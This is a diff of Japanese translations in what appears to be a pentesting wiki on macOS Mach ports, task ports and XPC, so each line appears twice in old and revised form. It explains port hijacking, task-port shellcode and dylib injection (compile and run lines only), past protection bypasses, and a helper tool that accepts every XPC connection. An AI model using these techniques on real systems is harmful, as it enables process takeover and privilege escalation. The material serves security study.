**SEND**権利は**`host_get_special_port`**を呼び出すことで取得でき、**RECEIVE**権利は**`host_set_special_port`**を呼び出すことで取得できます。しかし、両方の呼び出しには**`host_priv`**ポートが必要で、これはルートのみがアクセスできます。さらに、過去にはルートが**`host_set_special_port`**を呼び出して任意のポートをハイジャックでき、例えば`HOST_KEXTD_PORT`をハイジャックすることでコード署名をバイパスすることができました現在はSIPがこれを防止しています)。
**SEND**権限は**`host_get_special_port`**を呼び出すことで取得でき、**RECEIVE**権限は**`host_set_special_port`**を呼び出すことで取得できます。しかし、両方の呼び出しには**`host_priv`**ポートが必要で、これはルートのみがアクセスできます。さらに、過去にはルートが**`host_set_special_port`**を呼び出して任意のポートをハイジャックでき、例えば`HOST_KEXTD_PORT`をハイジャックすることでコード署名をバイパスすることができました現在はSIPがこれを防いでいます)。
これらは2つのグループに分かれています**最初の7つのポートはカーネルによって所有され**、1が`HOST_PORT`、2が`HOST_PRIV_PORT`、3が`HOST_IO_MASTER_PORT`、7が`HOST_MAX_SPECIAL_KERNEL_PORT`です。\
**8**から始まる番号のポートは**システムデーモンによって所有され**、[**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html)に宣言されています。
番号**8**から始まるものは**システムデーモンによって所有され**、[**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html)に宣言されています。
- **ホストポート**:プロセスがこのポートに対して**SEND**権限を持っている場合、次のようなルーチンを呼び出すことで**システム**に関する**情報**を取得できます:
- `host_processor_info`: プロセッサ情報を取得
@ -424,7 +424,7 @@ printf("Sent a message\n");
- `host_virtual_physical_table_info`: 仮想/物理ページテーブルMACH_VMDEBUGが必要
- `host_statistics`: ホスト統計を取得
- `mach_memory_info`: カーネルメモリレイアウトを取得
- **ホスト特権ポート**:このポートに対して**SEND**権限を持つプロセスは、ブートデータを表示したり、カーネル拡張を読み込もうとしたりする**特権アクション**を実行できます。この**権限を取得するにはプロセスがルートである必要があります**。
- **ホストプライベートポート**:このポートに対して**SEND**権限を持つプロセスは、ブートデータを表示したり、カーネル拡張を読み込もうとしたりする**特権アクション**を実行できます。この権限を取得するには**プロセスがルートである必要があります**。
- さらに、**`kext_request`** APIを呼び出すには、他の権限**`com.apple.private.kext*`**が必要で、これはAppleのバイナリにのみ与えられます。
- 呼び出すことができる他のルーチンは次のとおりです:
- `host_get_boot_info`: `machine_boot_info()`を取得
@ -434,7 +434,7 @@ printf("Sent a message\n");
- `mach_vm_wire`: メモリを常駐させる
- **ルート**はこの権限にアクセスできるため、`host_set_[special/exception]_port[s]`を呼び出して**ホスト特別または例外ポートをハイジャック**することができます。
すべてのホスト特別ポートを表示するには、次のコマンドを実行できます:
すべてのホスト特別ポートを表示するには、次のコマンドを実行することができます:
```bash
procexp all ports | grep "HSP"
```
@ -451,15 +451,15 @@ world.*/
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
```
- **TASK_KERNEL_PORT**\[task-self send right]: このタスクを制御するために使用されるポート。タスクに影響を与えるメッセージを送信するために使用されます。これは**mach_task_self**によって返されるポートです(下記のタスクポートを参照)
- **TASK_KERNEL_PORT**\[task-self send right]: このタスクを制御するために使用されるポート。タスクに影響を与えるメッセージを送信するために使用されます。これは**mach_task_self (下記のタスクポートを参照)**によって返されるポートです。
- **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: タスクのブートストラップポート。その他のシステムサービスポートの返却を要求するメッセージを送信するために使用されます。
- **TASK_HOST_NAME_PORT**\[host-self send right]: 含まれるホストの情報を要求するために使用されるポート。これは**mach_host_self**によって返されるポートです。
- **TASK_WIRED_LEDGER_PORT**\[ledger send right]: このタスクがそのワイヤードカーネルメモリを引き出すソースを指定するポート。
- **TASK_PAGED_LEDGER_PORT**\[ledger send right]: このタスクがそのデフォルトのメモリ管理メモリを引き出すソースを指定するポート。
- **TASK_WIRED_LEDGER_PORT**\[ledger send right]: このタスクがそのワイヤードカーネルメモリを引き出すソースを指定するポートです
- **TASK_PAGED_LEDGER_PORT**\[ledger send right]: このタスクがそのデフォルトのメモリ管理メモリを引き出すソースを指定するポートです
### タスクポート
元々Machには「プロセス」はなく、「タスク」があり、これはスレッドのコンテナのように考えられていました。MachがBSDと統合されたとき、**各タスクはBSDプロセスに関連付けられました**。したがって、すべてのBSDプロセスはプロセスとして必要な詳細を持ち、すべてのMachタスクもその内部動作を持っています存在しないpid 0である`kernel_task`を除く)。
元々Machには「プロセス」はなく、「タスク」があり、これはスレッドのコンテナのように考えられていました。MachがBSDと統合されたとき、**各タスクはBSDプロセスと相関関係にありました**。したがって、すべてのBSDプロセスはプロセスとして必要な詳細を持ち、すべてのMachタスクもその内部動作を持っています存在しないpid 0である`kernel_task`を除く)。
これに関連する非常に興味深い関数が2つあります
@ -474,7 +474,7 @@ world.*/
- `task_[get/set]_special_port`
- `thread_create`: スレッドを作成
- `task_[get/set]_state`: タスクの状態を制御
- その他の情報は[**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)で見つけることができます。
- その他の詳細は[**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)で見つけることができます。
> [!CAUTION]
> 異なるタスクのタスクポートに対するSEND権を持つ場合、異なるタスクに対してそのようなアクションを実行することが可能です。
@ -483,17 +483,17 @@ world.*/
**カーネルもタスクであるため**、誰かが**`kernel_task`**に対する**SEND権限**を取得できれば、カーネルに何でも実行させることができます(脱獄)。
- `mach_task_self()`を呼び出して、呼び出しタスクのこのポートの**名前を取得**します。このポートは**`exec()`**を通じてのみ**継承**されます。`fork()`で作成された新しいタスクは新しいタスクポートを取得します特別なケースとして、suidバイナリの`exec()`後にタスクも新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行いながら["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)を実行することです。
- `mach_task_self()`を呼び出して、呼び出しタスクのこのポートの**名前を取得**します。このポートは**`exec()`**を通じてのみ**継承されます**; `fork()`で作成された新しいタスクは新しいタスクポートを取得します特別なケースとして、suidバイナリの`exec()`後にタスクも新しいタスクポートを取得します)。タスクを生成し、そのポートを取得する唯一の方法は、`fork()`を行いながら["ポートスワップダンス"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html)を実行することです。
- これらはポートにアクセスするための制限です(バイナリ`AppleMobileFileIntegrity``macos_task_policy`から):
- アプリが**`com.apple.security.get-task-allow`権限**を持っている場合、**同じユーザーのプロセスがタスクポートにアクセスできます**通常はデバッグのためにXcodeによって追加されます。**ノータリゼーション**プロセスは、製品リリースではこれを許可しません。
- **`com.apple.system-task-ports`**権限を持つアプリは、カーネルを除く**任意の**プロセスの**タスクポートを取得できます**。古いバージョンでは**`task_for_pid-allow`**と呼ばれていました。これはAppleのアプリケーションにのみ付与されます。
- **ルートは**、**ハードンされた**ランタイムでコンパイルされていないアプリケーションのタスクポートにアクセスできますAppleからではありません
**タスク名ポート** _タスクポート_の特権のないバージョン。タスクを参照しますが、制御することはできません。これを通じて利用できる唯一のものは`task_info()`のようです。
**タスク名ポート:** _タスクポート_の特権のないバージョン。タスクを参照しますが、制御することはできません。これを通じて利用できる唯一のものは`task_info()`のようです。
### スレッドポート
スレッドにも関連するポートがあり、これは**`task_threads`**を呼び出すタスクや`processor_set_threads`を持つプロセッサから見ることができます。スレッドポートに対するSEND権を持つと、`thread_act`サブシステムの関数を使用できます。例えば
スレッドにも関連するポートがあり、これは**`task_threads`**を呼び出すタスクや`processor_set_threads`を持つプロセッサから見ることができます。スレッドポートへのSEND権は、`thread_act`サブシステムの関数を使用することを可能にします
- `thread_terminate`
- `thread_[get/set]_state`
@ -504,9 +504,10 @@ world.*/
任意のスレッドは**`mach_thread_sef`**を呼び出すことでこのポートを取得できます。
### タスクポート経由のスレッドへのシェルコード注入
### タスクポート経由でのスレッドへのシェルコード注入
シェルコードを取得できます:
シェルコードを取得するには:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -768,17 +769,17 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
> [!TIP]
> これをiOSで動作させるには、書き込み可能なメモリ実行可能ファイルを作成するために`dynamic-codesigning`の権限が必要です。
> これをiOSで動作させるには、書き込み可能なメモリ実行可能ファイルを作成するために`dynamic-codesigning`の権限が必要です。
### タスクポート経由のスレッドでのDylibインジェクション
macOSでは、**スレッド**は**Mach**を介して、または**posix `pthread` api**を使用して操作できます。前回のインジェクションで生成したスレッドはMach apiを使用して生成されたため、**posix準拠ではありません**。
**posix**準拠のapiを使用する必要がなかったため、**コマンドを実行するためのシンプルなシェルコードを注入することが可能でした**。しかし、**より複雑なインジェクション**では、**スレッド**も**posix準拠である必要があります**。
**posix**準拠のapiを使用する必要がなかったため、**コマンドを実行するためのシンプルなシェルコードを注入することができました**。しかし、**より複雑なインジェクション**では、**スレッド**も**posix準拠である必要があります**。
したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthreadが作成されます**。次に、この新しいpthreadが**dlopenを呼び出して**システムから**dylibをロード**できるようになります。したがって、異なるアクションを実行するために新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。
したがって、**スレッドを改善するためには**、**`pthread_create_from_mach_thread`**を呼び出す必要があります。これにより、**有効なpthread**が作成されます。この新しいpthreadは、システムから**dylibをロードするためにdlopenを呼び出すことができます**。そのため、異なるアクションを実行するために新しいシェルコードを書く代わりに、カスタムライブラリをロードすることが可能です。
**例のdylibs**は次の場所にあります(例えば、ログを生成し、その後リスンできるもの):
**例のdylibs**は次の場所にあります(例えば、ログを生成し、その後リスできるもの):
{{#ref}}
../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md
@ -1076,15 +1077,15 @@ macos-thread-injection-via-task-port.md
## 例外ポート
スレッドで例外が発生すると、この例外はスレッドの指定された例外ポートに送信されます。スレッドがそれを処理しない場合、タスクの例外ポートに送信されます。タスクがそれを処理しない場合、ホストポートに送信され、launchdによって管理されますこで承認されます)。これを例外トリアージと呼びます。
スレッドで例外が発生すると、この例外はスレッドの指定された例外ポートに送信されます。スレッドがそれを処理しない場合、タスクの例外ポートに送信されます。タスクがそれを処理しない場合、ホストポートに送信され、launchdによって管理されますこで承認されます)。これを例外トリアージと呼びます。
通常、適切に処理されない場合、レポートはReportCrashデーモンによって処理されることになります。ただし、同じタスク内の別のスレッドが例外を管理することも可能であり、これが `PLCreashReporter` のようなクラッシュレポートツールが行うことです。
通常、適切に処理されない場合、レポートはReportCrashデーモンによって処理されます。ただし、同じタスク内の別のスレッドが例外を管理することも可能であり、これが `PLCreashReporter` のようなクラッシュレポートツールが行うことです。
## その他のオブジェクト
### 時計
任意のユーザーは時計に関する情報にアクセスできますが、時間を設定したり他の設定を変更したりするには、rootである必要があります。
任意のユーザーは時計に関する情報にアクセスできますが、時間を設定したり他の設定を変更したりするにはroot権限が必要です。
情報を取得するためには、`clock` サブシステムの関数を呼び出すことができます: `clock_get_time``clock_get_attributtes` または `clock_alarm`\
値を変更するためには、`clock_priv` サブシステムを使用し、`clock_set_time``clock_set_attributes` のような関数を使用できます。
@ -1103,9 +1104,9 @@ macos-thread-injection-via-task-port.md
- `processor_set_info`
[**この投稿**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/)で述べたように、過去には、**`processor_set_tasks`** を呼び出して他のプロセスのタスクポートを取得し、それらを制御するために、前述の保護を回避することができました。\
現在では、その関数を使用するにはrootが必要であり、これは保護されているため、保護されていないプロセスでのみこれらのポートを取得できるようになります。
現在では、その関数を使用するにはroot権限が必要であり、これは保護されているため、保護されていないプロセスでのみこれらのポートを取得できるようになります。
以下のように試すことができます:
以下のコードで試すことができます:
<details>
@ -1220,6 +1221,7 @@ XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication
For more information about how this **communication work** on how it **could be vulnerable** check:
{{#ref}}
macos-xpc/
{{#endref}}
@ -1232,6 +1234,7 @@ MIC basically **generates the needed code** for server and client to communicate
For more info check:
{{#ref}}
macos-mig-mach-interface-generator.md
{{#endref}}

View File

@ -4,7 +4,7 @@
## 基本情報
XPCは、macOSで使用されるカーネルであるXNUのプロセス間通信の略で、macOSおよびiOS上の**プロセス間の通信**のためのフレームワークです。XPCは、システム上の異なるプロセス間で**安全で非同期のメソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の**作成**を可能にします。これにより、侵害されたプロセスからの潜在的な損害を制限します。
XPCは、macOSで使用されるカーネルであるXNUXNUは「X is Not Unix」の略間のプロセス通信のためのフレームワークで、macOSおよびiOS上の**プロセス間の通信**を提供します。XPCは、システム上の異なるプロセス間で**安全で非同期のメソッド呼び出し**を行うためのメカニズムを提供します。これはAppleのセキュリティパラダイムの一部であり、各**コンポーネント**がその仕事を行うために必要な**権限のみ**で実行される**特権分離アプリケーション**の**作成**を可能にし、侵害されたプロセスからの潜在的な損害を制限します。
XPCは、同じシステム上で実行されている異なるプログラムがデータを送受信するための一連のメソッドであるプロセス間通信IPCの一形態を使用します。
@ -18,15 +18,15 @@ XPCの主な利点は以下の通りです
## アプリケーション特有のXPCサービス
アプリケーションのXPCコンポーネントは**アプリケーション自体の内部**にあります。たとえば、Safariでは**`/Applications/Safari.app/Contents/XPCServices`**に見つけることができます。これらは**`.xpc`**拡張子を持ち(例:**`com.apple.Safari.SandboxBroker.xpc`**)、メインバイナリの内部に**バンドル**されています:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`および`Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
アプリケーションのXPCコンポーネントは**アプリケーション自体の内部**にあります。たとえば、Safariでは**`/Applications/Safari.app/Contents/XPCServices`**に見つけることができます。これらは**`.xpc`**拡張子(例:**`com.apple.Safari.SandboxBroker.xpc`**を持ち、メインバイナリの内部に**バンドル**されています:`/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`および`Info.plist: /Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/Info.plist`
あなたが考えているように、**XPCコンポーネントは他のXPCコンポーネントやメインアプリバイナリとは異なる権限と特権を持つ**ことになります。ただし、XPCサービスが**Info.plist**ファイルで**JoinExistingSession**を“True”に設定されている場合を除きます。この場合、XPCサービスは呼び出したアプリケーションと**同じセキュリティセッション**で実行されます。
あなたが考えているように、**XPCコンポーネントは他のXPCコンポーネントやメインアプリバイナリとは異なる権限と特権を持ちます**。ただし、XPCサービスが**Info.plist**ファイルで**JoinExistingSession**を「True」に設定して構成されている場合を除きます。この場合、XPCサービスは呼び出したアプリケーションと**同じセキュリティセッション**で実行されます。
XPCサービスは**launchd**によって必要に応じて**開始**され、すべてのタスクが**完了**するとシステムリソースを解放するために**シャットダウン**されます。**アプリケーション特有のXPCコンポーネントはアプリケーションによってのみ利用可能**であり、潜在的な脆弱性に関連するリスクを低減します。
XPCサービスは**launchd**によって必要に応じて**開始され**、すべてのタスクが**完了**するとシステムリソースを解放するために**シャットダウン**されます。**アプリケーション特有のXPCコンポーネントはアプリケーションによってのみ利用可能**であり、潜在的な脆弱性に関連するリスクを低減します。
## システム全体のXPCサービス
システム全体のXPCサービスはすべてのユーザーがアクセス可能です。これらのサービスは、launchdまたはMachタイプであり、**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**、または**`/Library/LaunchAgents`**などの指定されたディレクトリにあるplistファイルで**定義**する必要があります。
システム全体のXPCサービスはすべてのユーザーがアクセス可能です。これらのサービスは、launchdまたはMachタイプであり、**`/System/Library/LaunchDaemons`**、**`/Library/LaunchDaemons`**、**`/System/Library/LaunchAgents`**、または**`/Library/LaunchAgents`**などの指定されたディレクトリにあるplistファイルで**定義する必要があります**
これらのplistファイルには、サービスの名前を持つ**`MachServices`**というキーと、バイナリへのパスを持つ**`Program`**というキーがあります:
```xml
@ -62,65 +62,65 @@ cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
</dict>
</plist>
```
**`LaunchDameons`**内のものはrootによって実行されます。したがって、特権のないプロセスがこれらのいずれかと通信できる場合、特権を昇格させることができる可能性があります。
**`LaunchDameons`** にあるものは root によって実行されます。したがって、特権のないプロセスがこれらのいずれかと通信できる場合、特権を昇格させることができる可能性があります。
## XPCオブジェクト
## XPC オブジェクト
- **`xpc_object_t`**
すべてのXPCメッセージは、シリアル化とデシリアル化を簡素化する辞書オブジェクトです。さらに、`libxpc.dylib`はほとんどのデータ型を宣言しているため、受信したデータが期待される型であることを確認できます。C APIでは、すべてのオブジェクトは`xpc_object_t`であり(その型は`xpc_get_type(object)`を使用して確認できます)。\
さらに、`xpc_copy_description(object)`関数を使用して、デバッグ目的に役立つオブジェクトの文字列表現を取得できます。\
これらのオブジェクトには、`xpc_<object>_copy``xpc_<object>_equal``xpc_<object>_hash``xpc_<object>_serialize``xpc_<object>_deserialize`などの呼び出し可能なメソッドもあります。
すべての XPC メッセージは、シリアル化とデシリアル化を簡素化する辞書オブジェクトです。さらに、`libxpc.dylib` はほとんどのデータ型を宣言しているため、受信したデータが期待される型であることを確認できます。C API では、すべてのオブジェクトは `xpc_object_t` であり(その型は `xpc_get_type(object)` を使用して確認できます)。\
さらに、`xpc_copy_description(object)` 関数を使用して、デバッグ目的に役立つオブジェクトの文字列表現を取得できます。\
これらのオブジェクトには、`xpc_<object>_copy``xpc_<object>_equal``xpc_<object>_hash``xpc_<object>_serialize``xpc_<object>_deserialize` などの呼び出し可能なメソッドもあります。
`xpc_object_t`は、`xpc_<objetType>_create`関数を呼び出すことで作成され、内部的に`_xpc_base_create(Class, Size)`を呼び出し、オブジェクトのクラスの型(`XPC_TYPE_*`のいずれか)とそのサイズ(メタデータ用に追加の40Bがサイズに加算されますが指定されます。つまり、オブジェクトのデータはオフセット40Bから始まります。\
したがって、`xpc_<objectType>_t``xpc_object_t`のサブクラスのようなものであり、`os_object_t*`のサブクラスになります。
`xpc_object_t` は、`xpc_<objetType>_create` 関数を呼び出すことで作成され、内部的に `_xpc_base_create(Class, Size)` を呼び出し、オブジェクトのクラスの型(`XPC_TYPE_*` のいずれか)とそのサイズ(メタデータ用に追加の 40B がサイズに加算されます)を指定します。つまり、オブジェクトのデータはオフセット 40B から始まります。\
したがって、`xpc_<objectType>_t` `xpc_object_t` のサブクラスのようなものであり、`os_object_t*` のサブクラスになります。
> [!WARNING]
> `xpc_dictionary_[get/set]_<objectType>`を使用して、キーの型と実際の値を取得または設定するのは開発者であるべきです。
> `xpc_dictionary_[get/set]_<objectType>` を使用して、キーの型と実際の値を取得または設定するのは開発者であるべきです。
- **`xpc_pipe`**
**`xpc_pipe`**は、プロセスが通信するために使用できるFIFOパイプです通信はMachメッセージを使用します。\
特定のMachポートを使用して作成するために、`xpc_pipe_create()`または`xpc_pipe_create_from_port()`を呼び出すことでXPCサーバーを作成できます。次に、メッセージを受信するには、`xpc_pipe_receive`および`xpc_pipe_try_receive`を呼び出すことができます。
**`xpc_pipe`** は、プロセスが通信するために使用できる FIFO パイプです(通信は Mach メッセージを使用します)。\
特定の Mach ポートを使用して作成するには、`xpc_pipe_create()` または `xpc_pipe_create_from_port()` を呼び出して XPC サーバーを作成できます。次に、メッセージを受信するには `xpc_pipe_receive` および `xpc_pipe_try_receive` を呼び出すことができます。
**`xpc_pipe`**オブジェクトは、使用される2つのMachポートと名前ある場合の情報をその構造体に持つ**`xpc_object_t`**です。たとえば、plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist`内のデーモン`secinitd`の名前は、`com.apple.secinitd`と呼ばれるパイプを構成します。
**`xpc_pipe`** オブジェクトは、使用される 2 つの Mach ポートと名前(ある場合)の情報を含む **`xpc_object_t`** です。たとえば、plist `/System/Library/LaunchDaemons/com.apple.secinitd.plist` にあるデーモン `secinitd` の名前は、`com.apple.secinitd` というパイプを構成します。
**`xpc_pipe`**の例は、**`launchd`**によって作成された**bootstrap pipe**で、Machポートの共有を可能にします。
**`xpc_pipe`** の例は、**`launchd`** によって作成された **bootstrap pipe** で、Mach ポートの共有を可能にします。
- **`NSXPC*`**
これらは、XPC接続の抽象化を可能にするObjective-Cの高レベルオブジェクトです。\
さらに、これらのオブジェクトは、前のものよりもDTraceでデバッグしやすくなっています。
これらは、XPC 接続の抽象化を可能にする Objective-C の高レベルオブジェクトです。\
さらに、これらのオブジェクトは、前のものよりも DTrace でデバッグしやすくなっています。
- **`GCD Queues`**
XPCはメッセージを渡すためにGCDを使用し、さらに`xpc.transactionq``xpc.io``xpc-events.add-listenerq``xpc.service-instance`などの特定のディスパッチキューを生成します。
XPC はメッセージを渡すために GCD を使用し、さらに `xpc.transactionq``xpc.io``xpc-events.add-listenerq``xpc.service-instance` などの特定のディスパッチキューを生成します。
## XPCサービス
## XPC サービス
これらは、他のプロジェクトの**`XPCServices`**フォルダー内にある`.xpc`拡張子を持つ**バンドル**であり、`Info.plist`では`CFBundlePackageType`が**`XPC!`**に設定されています。\
このファイルには、Application、User、System、またはサンドボックスを定義できる`_SandboxProfile`、またはサービスに連絡するために必要な権限やIDを示す可能性のある`_AllowedClients`など、他の構成キーがあります。これらおよび他の構成オプションは、サービスが起動されるときにサービスを構成するのに役立ちます。
これらは、他のプロジェクトの **`XPCServices`** フォルダー内にある `.xpc` 拡張子を持つバンドルであり、`Info.plist` では `CFBundlePackageType` **`XPC!`** に設定されています。\
このファイルには、Application、User、System または `_SandboxProfile` のような他の構成キーがあり、サンドボックスを定義したり、`_AllowedClients` がサービスに連絡するために必要な権限や ID を示すことがあります。これらの構成オプションは、サービスを起動する際に役立ちます。
### サービスの開始
アプリは`xpc_connection_create_mach_service`を使用してXPCサービスに**接続**しようとし、その後launchdがデーモンを見つけて**`xpcproxy`**を起動します。**`xpcproxy`**は構成された制限を強制し、提供されたFDとMachポートでサービスを生成します。
アプリは `xpc_connection_create_mach_service` を使用して XPC サービスに **接続** しようとし、その後 launchd がデーモンを見つけて **`xpcproxy`** を起動します。**`xpcproxy`** は構成された制限を強制し、提供された FD Mach ポートでサービスを生成します。
XPCサービスの検索速度を向上させるために、キャッシュが使用されます。
XPC サービスの検索速度を向上させるために、キャッシュが使用されます。
`xpcproxy`のアクションをトレースすることができます
`xpcproxy` のアクションをトレースすることができます:
```bash
supraudit S -C -o /tmp/output /dev/auditpipe
```
XPCライブラリは、`xpc_ktrace_pid0`および`xpc_ktrace_pid1`を呼び出すアクションをログするために`kdebug`を使用します。使用されるコードは文書化されていないため、`/usr/share/misc/trace.codes`に追加する必要があります。これらのコードは`0x29`のプレフィックスを持ち、例えば`0x29000004`: `XPC_serializer_pack`があります。\
ユーティリティ`xpcproxy``0x22`のプレフィックスを使用し、例えば`0x2200001c: xpcproxy:will_do_preexec`があります。
XPCライブラリは、`xpc_ktrace_pid0`および`xpc_ktrace_pid1`を呼び出すアクションをログするために`kdebug`を使用します。使用されるコードは文書化されていないため、これらを`/usr/share/misc/trace.codes`に追加する必要があります。これらのコードはプレフィックス`0x29`を持ち、例えば`0x29000004`: `XPC_serializer_pack`のようになります。\
ユーティリティ`xpcproxy`プレフィックス`0x22`を使用し、例えば`0x2200001c: xpcproxy:will_do_preexec`のようになります。
## XPCイベントメッセージ
アプリケーションは異なるイベント**メッセージ**に**サブスクライブ**でき、これによりそのようなイベントが発生したときに**オンデマンドで開始**できるようになります。これらのサービスの**セットアップ**は、**前述のディレクトリと同じディレクトリ**にある**launchd plistファイル**で行われ、追加の**`LaunchEvent`**キーが含まれています。
アプリケーションは異なるイベント**メッセージ**に**サブスクライブ**でき、これによりそのようなイベントが発生したときに**オンデマンドで開始**されることが可能です。これらのサービスの**セットアップ**は、**前述のディレクトリと同じディレクトリにある**`launchd plistファイル`で行われ、追加の**`LaunchEvent`**キーを含んでいます。
### XPC接続プロセスチェック
プロセスがXPC接続を介してメソッドを呼び出そうとする、**XPCサービスはそのプロセスが接続を許可されているかどうかを確認する必要があります**。以下は、一般的な確認方法と一般的な落とし穴です:
プロセスがXPC接続を介してメソッドを呼び出そうとする場合、**XPCサービスはそのプロセスが接続を許可されているかどうかを確認する必要があります**。以下はその確認方法と一般的な落とし穴です:
{{#ref}}
macos-xpc-connecting-process-check/
@ -128,7 +128,7 @@ macos-xpc-connecting-process-check/
## XPC認可
Appleは、アプリが**いくつかの権利を構成し、それを取得する方法を設定する**ことを許可しているため、呼び出しプロセスがそれらを持っている場合、**XPCサービスからメソッドを呼び出すことが許可されます**
Appleはまた、アプリが**いくつかの権利を設定し、それを取得する方法を構成する**ことを許可しているため、呼び出しプロセスがそれらを持っている場合、**XPCサービスからメソッドを呼び出すことが許可されます**
{{#ref}}
macos-xpc-authorization.md
@ -149,7 +149,7 @@ xpcspy -U <prog-name> -t 'i:com.apple.*' -t 'o:com.apple.*' -r
```
別の使用可能なツールは [**XPoCe2**](https://newosxbook.com/tools/XPoCe2.html) です。
## XPC 通信 C コード例
## XPC 通信 C コード
{{#tabs}}
{{#tab name="xpc_server.c"}}
@ -281,7 +281,7 @@ sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
## XPCコミュニケーション Objective-C コード例
## XPC通信のObjective-Cコード例
{{#tabs}}
{{#tab name="oc_xpc_server.m"}}
@ -439,14 +439,14 @@ return;
```
## Remote XPC
この機能は `RemoteXPC.framework``libxpc`からによって提供され、異なるホスト間でXPCを介して通信することができます。\
リモートXPCをサポートするサービスは、plistにUsesRemoteXPCキーを持っており、これは`/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`ケースのようです。しかし、サービスは`launchd`登録されますが、機能を提供するのは`UserEventAgent`で、プラグイン`com.apple.remoted.plugin``com.apple.remoteservicediscovery.events.plugin`です。
この機能は `RemoteXPC.framework``libxpc`からによって提供され、異なるホスト間でXPCを介して通信することを可能にします。\
リモートXPCをサポートするサービスは、`/System/Library/LaunchDaemons/com.apple.SubmitDiagInfo.plist`ように、plistにUsesRemoteXPCキーを持っています。しかし、サービスは`launchd`登録されますが、機能を提供するのは`UserEventAgent`で、プラグイン`com.apple.remoted.plugin``com.apple.remoteservicediscovery.events.plugin`です。
さらに、`RemoteServiceDiscovery.framework`は、`com.apple.remoted.plugin`から情報を取得することを可能にし、`get_device``get_unique_device``connect`などの関数を公開しています。
さらに、`RemoteServiceDiscovery.framework`は、`com.apple.remoted.plugin`から情報を取得することを可能にし、`get_device``get_unique_device``connect`などの関数を公開します。
一度`connect`が使用され、サービスのソケット`fd`収集されると、`remote_xpc_connection_*`クラスを使用することが可能です。
一度`connect`が使用され、サービスのソケット`fd`取得されると、`remote_xpc_connection_*`クラスを使用することが可能です。
リモートサービスに関する情報は、次のようなパラメータを使用してCLIツール`/usr/libexec/remotectl`を使用することで取得できます
リモートサービスに関する情報は、次のようなパラメータを使用してCLIツール`/usr/libexec/remotectl`を使用することで取得できます:
```bash
/usr/libexec/remotectl list # Get bridge devices
/usr/libexec/remotectl show ...# Get device properties and services

View File

@ -4,13 +4,13 @@
## XPC Authorization
Appleは、接続プロセスが**公開されたXPCメソッドを呼び出す権限を持っているかどうかを認証する**別の方法を提案しています。
Appleは、接続プロセスが**公開されたXPCメソッドを呼び出す権限を持っているかどうかを認証する別の方法**を提案しています。
アプリケーションが**特権ユーザーとしてアクションを実行する必要がある**場合、通常は特権ユーザーとしてアプリを実行するのではなく、アプリから呼び出してそのアクションを実行できるXPCサービスとしてHelperToolをルートとしてインストールします。ただし、サービスを呼び出すアプリは十分な認可を持っている必要があります。
### ShouldAcceptNewConnectionは常にYES
例として、[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)を見つけることができます。`App/AppDelegate.m`では、**HelperTool**に**接続**しようとします。そして、`HelperTool/HelperTool.m`では、関数**`shouldAcceptNewConnection`**は、前述の要件**チェックしません**。常にYESを返します:
例として、[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)を見つけることができます。`App/AppDelegate.m`では、**HelperTool**に**接続**しようとします。そして、`HelperTool/HelperTool.m`では、関数**`shouldAcceptNewConnection`**は、前述の要件のいずれも**チェックしません**。常にYESを返します:
```objectivec
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
@ -27,7 +27,7 @@ newConnection.exportedObject = self;
return YES;
}
```
詳細な設定方法については、次のチェックを参照してください:
詳細な設定方法については、こちらをご覧ください:
{{#ref}}
macos-xpc-connecting-process-check/
@ -62,7 +62,7 @@ if (self->_authRef) {
[self.window makeKeyAndOrderFront:self];
}
```
`Common/Common.m``setupAuthorizationRights`関数は、アプリケーションの権限を`/var/db/auth.db`の認証データベースに保存します。データベースにまだ存在しない権限のみを追加することに注意してください:
